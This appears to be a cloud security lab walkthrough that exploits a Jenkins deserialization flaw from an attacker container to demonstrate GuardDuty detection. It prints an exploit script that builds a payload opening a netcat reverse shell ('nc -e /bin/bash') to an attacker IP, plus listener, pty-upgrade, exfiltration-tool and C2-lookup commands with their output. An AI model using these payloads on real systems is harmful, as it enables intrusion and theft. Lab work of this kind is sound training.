

Exercise 2 - Attacking a Webserver

Running the exploit From the Cli.

Steps

1. Create two terminal instances

Log into the instance

`ssh -i "<cert>" ec2-user@instance-dns`

```
jharris@ML-C02ZP8ZVMD6P certs % ssh -i "sec-demo-key-pair.pem" ec2-user@ec2-54-151-91-216.us-west-1.compute.amazonaws.com
Last login: Wed Sep 16 11:02:43 2020 from host86-144-121-94.range86-144.btcentraplus.com

  __|  __|_  )
 _| (  _/   Amazon Linux 2 AMI
---| \___|___|

https://aws.amazon.com/amazon-linux-2/
16 package(s) needed for security, out of 34 available
Run "sudo yum update" to apply all updates.
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left   Speed
100    13  100    13    0     0  13000      0 --:--:-- --:--:-- --:--:-- 13000
[ec2-user@ip-172-16-128-14 ~]$
```

2. On Terminal session 1

Check the container is running

`docker ps | grep 'attacker' | awk '{print $1}'`

```
[ec2-user@ip-172-16-128-14 ~]$ docker ps | grep 'attacker' | awk '{print $1}'
d4eea85aff7c
[ec2-user@ip-172-16-128-14 ~]$
```

3. On Both Terminal sessions

Log into the container

`docker exec -it $(docker container ls | grep 'attacker' | awk '{print $1}') sh`

```
[ec2-user@ip-172-16-128-14 ~]$ docker exec -it $(docker container ls | grep 'attacker' | awk '{print $1}') sh
#
```

4. Change to the /root folder and review the script auto-spl0it.sh

```
[ cd /root
# ls
__pycache__          commons-logging-1.2.jar  payload.jar
app.py               exp-server.py          payload.ser
auto-spl0it.sh       exploit.log             run.sh
commons-beanutils-1.8.3.jar  exploit.py             static
commons-collections-3.2.1.jar  ezmorph-1.0.6.jar     templates
commons-lang-2.6.jar   json-lib-2.4-jenkins-2.jar  web.zip
#

# cat ./auto-spl0it.sh
#!/bin/bash

echo
echo "*****"
echo
echo "Open another terminal window and run a netcat listener: nc -lvp 443"
echo
echo "Run the following command to spawn a shell once the reverse connection establishes:"
echo
echo "python -c 'import pty; pty.spawn(\"/bin/bash\")'"
echo
read -n 1 -s -r -p "Once the above is complete - press any key to continue"

echo
echo "Enter Attacker IP Address:"
echo

read attacker

echo "Creating Payload with IP address" $attacker
echo

java -jar /root/payload.jar /root/payload.ser "nc -e /bin/bash $attacker 443"

echo "Payload successfully created and saved as 'payload.ser'"
echo

echo "Executing exploit..."
echo

python3 /root/exploit.py
#
```

5. On Terminal 2 run the command nc -lvp 443

```
[# ls ]
[LOG.TXT bin dev home lib64 mnt proc run srv tmp var ]
[app.log boot etc lib media opt root sbin sys usr ]
[# nc -lvp 443 ]
[listening on [any] 443 ... ]
[ ]
```

6. Run the script

```
*****
VPCFlowLogGroup

Open another terminal window and run a netcat listener: nc -lvp 443

Run the following command to spawn a shell once the reverse connection establishes:

python -c 'import pty; pty.spawn("/bin/bash")'

Once the above is complete - press any key to continue
Enter Attacker IP Address:
54.151.91.216
Creating Payload with IP address 54.151.91.216

Payload successfully created and saved as 'payload.ser'

Executing exploit...

Enter Jenkins Target IP Address: secframeworkjuly14Jenkins-ALB-1810566323.us-west-1.elb.amazonaws.com
pwn
b'Starting HTTP duplex channel<===[JENKINS REMOTING CAPACITY]===>r00ABXNyABpodWRzb24ucmVtb3Rpb
```

7. Verify the exploit has been successful

You will see the Jenkins process running on the web server. You now have root access to the web server via the cli.

```
[ps -ef
UID      PID  PPID  C  STIME TTY          TIME CMD
root      1    0  0  Aug27 ?        00:00:32 /bin/tini -- /usr/local/bin/jenkins.sh
root      6    1  0  Aug27 ?        00:25:57 java -Djenkins.install.runSetupWizard=false -jar
/usr/share/jenkins/jenkins.war
root      79    6  0  Aug27 ?        00:00:00 bash
root    3530    6  0  11:24 ?        00:00:00 bash
root    3533  3530  0  11:24 ?        00:00:00 bash
root    3534  3533  0  11:25 ?        00:00:00 bash
root    3538    6  0  11:40 ?        00:00:00 bash
root    3542  3538  0  11:41 ?        00:00:00 /bin/sh
root    3555  3542  0  11:42 ?        00:00:00 ps -ef
```

8. Install additional software to exfiltrate data

```

[apt-get install -y dnsmutils
Reading package lists...
Building dependency tree...
Reading state information...
Suggested packages:
  rblcheck
The following NEW packages will be installed:
  dnsmutils
0 upgraded, 1 newly installed, 0 to remove and 70 not upgraded.
Need to get 284 kB of archives.
After this operation, 531 kB of additional disk space will be used.
Get:1 http://security.debian.org/debian-security stretch/updates/main amd64 dnsm
utils amd64 1:9.10.3.dfsg.P4-12.3+deb9u7 [284 kB]
Fetched 284 kB in 0s (16.5 MB/s)
Selecting previously unselected package dnsmutils.
(Reading database ... 22866 files and directories currently installed.)
Preparing to unpack .../dnsmutils_1%3a9.10.3.dfsg.P4-12.3+deb9u7_amd64.deb ...
Unpacking dnsmutils (1:9.10.3.dfsg.P4-12.3+deb9u7) ...
Setting up dnsmutils (1:9.10.3.dfsg.P4-12.3+deb9u7) ...

```

9. Create a GuardDuty alert

```

connect to [172.18.0.2] from ec2-54-177-117-95.us-west-1.compute.amazonaws.com
[54.177.117.95] 47205
dig GuardDutyC2ActivityB.com any

; <=> DiG 9.10.3-P4-Debian <=> GuardDutyC2ActivityB.com any
;; global options: +cmd
;; Got answer:
;; ->HEADER<- opcode: QUERY, status: NOERROR, id: 15142
;; flags: qr rd ra; QUERY: 1, ANSWER: 10, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;GuardDutyC2ActivityB.com.      IN      ANY

;; ANSWER SECTION:
GuardDutyC2ActivityB.com. 300     IN      TXT      "spf2.0/pra include:amazon.com
-all"
GuardDutyC2ActivityB.com. 300     IN      TXT      "v=spf1 include:amazon.com -all
"
GuardDutyC2ActivityB.com. 300     IN      NS       ns3.markmonitor.com.
GuardDutyC2ActivityB.com. 300     IN      NS       ns4.markmonitor.com.
GuardDutyC2ActivityB.com. 300     IN      NS       ns5.markmonitor.com.
GuardDutyC2ActivityB.com. 300     IN      NS       ns6.markmonitor.com.
GuardDutyC2ActivityB.com. 300     IN      NS       ns7.markmonitor.com.
GuardDutyC2ActivityB.com. 300     IN      NS       ns1.markmonitor.com.
GuardDutyC2ActivityB.com. 300     IN      NS       ns2.markmonitor.com.
GuardDutyC2ActivityB.com. 300     IN      SOA      ns1.markmonitor.com. hostmaster
.markmonitor.com. 2018091901 86400 3600 2592000 172800

;; Query time: 12 msec
;; SERVER: 127.0.0.11#53(127.0.0.11)
;; WHEN: Wed Sep 16 14:33:53 UTC 2020
;; MSG SIZE rcvd: 328

```

